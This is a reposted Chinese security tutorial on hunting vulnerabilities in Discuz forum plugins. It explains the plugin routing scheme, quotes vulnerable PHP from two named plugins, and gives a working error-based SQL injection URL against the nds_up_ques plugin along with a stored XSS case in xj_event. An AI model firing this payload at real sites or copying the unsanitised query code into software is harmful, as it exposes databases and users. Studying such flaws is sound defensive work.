IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Disucz 插件漏洞挖掘手册

    Expl0r3r发表于 2015-09-09 12:10:58
    love 0

    b3b7d0a20cf431adadee7f334836acaf2edd98ff

     

    Disucz 插件漏洞挖掘手册

    • 基本函数的了解
    • 基本变量的了解
    • 插件的调用方法
    • 学习几个小例子

     

    1.基本函数的了解

    在Discuz中存在如下几个重要的函数

    <?php
    $Result=DB::query("select 1");//用来执行sql语句
    DB::result($Result); //用来获取执行SQL语句的之后的结果
    DB::fetch ( $query2 );// 也用来获取执行SQL语句的之后的结果
    showmessage(); //用来输出discuz的提示信息,并且输出完之后会退出
    DB::table ( 'ques_user' );
    //用来根据自定义的表前缀生成出带有表前缀的表名(discuz就算sql语句报错输出的时候也会自动将表前缀隐)
    include template ( 'nds_up_ques:ques_stats' );
    //template会返回nds_up_ques插件目录下template目录中的ques_stats.html,用来包含使用模版?>

    2.基本变量的了解

    在discuz中比较重要的几个变量如下

    <?php
    $_G ['gp_orderby'];//前面的gp代表get和post,表示从get和post方式获取orderby参数。
    $_G ['cache'] ['plugin'] ['nds_up_ques']['creditmax'];
    //表示读取data目录下cache目录里面nds_up_ques文件下面的creditmax,一般不可控
    $_G ['adminid'];// 管理员ID的标志位,普通用户登录的话就为空
    $_G ['uid'];    // 用户ID的标志位,普通用户登录则存在的当前用户的ID,未登录则为空
    IN_DISCUZ,IN_ADMINCP
    //俩个宏,一个是判断是否在dz的代码调用,一个是判断是否是后台调用,IN_DISCUZ是用来判断是否是直接访问的,若直接访问则不给予执行;一般ADMINCP用来判断是否后台调用也就///是判断是否是管理员使用,也代表该插件只能在后台调用,
    ?>

    3.插件的调用方法

    在discuz中大部分插件都是通过plugin.php文件来调用的,

    并且通过id参数来指明所需调用的插件,例如如下url

    http://www.dzscan.org/plugin.php?id=testplugin

    最终调用的文件将是

    /source/plugins/testplugin/testplugin.inc.php

    如果url是

    http://www.dzscan.org/plugin.php?id=testplugin:testaction

    最终调用的文件将是

    /source/plugins/testplugin/testaction.inc.php

    比如我们挖某一个插件中的testaction.inc.php存在漏洞就可以同过如上的方法调用到该文件

    plugin.php的id参数只允许包含Inc.php后缀的文件名,若发现testaction.php存在漏洞,是无法直接通过plugin.php调用的

    4 学习几个小例子

    这里以 nds_up_ques 插件作为第一个例子,其存在一个sql注入漏洞

    在nds_ques_viewanswer.inc.php文件中,首先,通过该文件的文件得知我们可以通过

    http://www.dzscan.org/plugin.php?id=nds_up_ques:nds_ques_viewanswer

    这样的url去调用到这个文件;

    然后下面我们来看其中的代码:

    <?PHP
    /**
     * 
      *问卷调查专业版 3.261 (www.lieeagle.com) 
     * 
     */
    if (! defined ( 'IN_DISCUZ' )) {//标注了必须在discuz中调用,直接访问则会退出,防止函数/变量未定义导致报错
        exit ( 'Access Denied' );
    }
    ! empty ( $_G ['gp_srchtxt'] ) ? $wherestr .= " AND  author = '" . dhtmlspecialchars ( trim ( substr ( $_GET ['srchtxt'], 0, 20 ) ) ) . "' " : '';
    //通过这里得知从GET方式获取srchtxt的值,这里需要注意的是,在Disucz中直接通过$_GET,$_POST等变量获
    //取的值是被反转义回来的,换句话说就是原本提交<'>会变成<\'>,
    //但是会被重新反转再次变成<'>从而导致字符/形也可以注入,所以这里是一处注入,
    //但是因为substr的原因导致c长度最多只有20,没法利用
    $orderby = $_G ['gp_orderby'] ? $_G ['gp_orderby'] : 'dateline';
    //再看这里通过前面的文章我们可得知通过GET或者POST方法获取Orderby参数
    $imes = $_G ['gp_imes'] ? $_G ['gp_imes'] : 'DESC';
    //再看这里通过前面的文章我们可得知通过GET或者POST方法获取imes参数
    
    //忽略一点无关紧要的代码
    
    $query = DB::query ( " SELECT * FROM " . DB::table ( 'ques_user' ) . " WHERE `topicid`='$topicid' " . $wherestr . "  ORDER by $orderby $imes LIMIT $start_limit,$perpage" );//这里可以看到把orderby和imes直接带入查询了,导致了sql注入
    while ( $quesuser = DB::fetch ( $query ) ) {
        $quesuserlist [$quesuser ['qid']] ['nid'] = $nid ++;
        $quesuserlist [$quesuser ['qid']] ['topicid'] = $quesuser ['topicid'];
        $quesuserlist [$quesuser ['qid']] ['dateline'] = dgmdate ( $quesuser ['dateline'] );
        $quesuserlist [$quesuser ['qid']] ['authorid'] = $quesuser ['authorid'];
        $quesuserlist [$quesuser ['qid']] ['author'] = $quesuser ['author'];
        $quesuserlist [$quesuser ['qid']] ['mark'] = $quesuser ['mark'];
    }
    $navtitle = lang ( 'plugin/nds_up_ques', 'action_7' ) . ' - ' . $navtitle;
    include template ( 'nds_up_ques:ques_viewanswer' );
    
    ?>

    最终我们的exp便是

    http://www.dzscan.org/plugin.php?id=nds_up_ques:nds_ques_viewanswer&&srchtxt=1&orderby=dateline and 1=(updatexml(1,concat(0x27,version()),1))--

    下面在看一个xss的例子

    xj_event这个插件的

    event_list.inc.php这个文件的漏洞

    $dateline = $_G['timestamp'];
    $eid = intval($_GET['eid']);
    $uid = $_G['uid'];
    $realname = addslashes($_GET['realname']);//这些参数只是经过了转义,但是并没有将html标签实体化
    $mobile = addslashes($_GET['mobile']);
    $qq = addslashes($_GET['qq']);
    $bmmessage = addslashes($_GET['message']);
    $applynumber = intval($_GET['applynumber']);
    
    //忽略一下无关紧要的代码
    
    DB::query("INSERT INTO ".DB::table('xj_eventapply')." 
        (tid, eid, uid, realname, mobile, qq, bmmessage, dateline, applynumber, ufielddata) 
        VALUES 
        ('$tid', '$eid', '$uid', '$realname', '$mobile', '$qq', '$bmmessage', '$dateline', '$applynumber', '$ufielddata')");//导致这里直接插入数据库,最后在后台输出将会导致存储xss
    $num = DB::result_first("SELECT count(*) FROM ".DB::table('xj_event_member_info')." WHERE uid = '$uid'");=

     

     

    【原文:Disucz 插件漏洞挖掘手册  安全脉搏 Expl0r3r 整理发布】



沪ICP备19023445号-2号
友情链接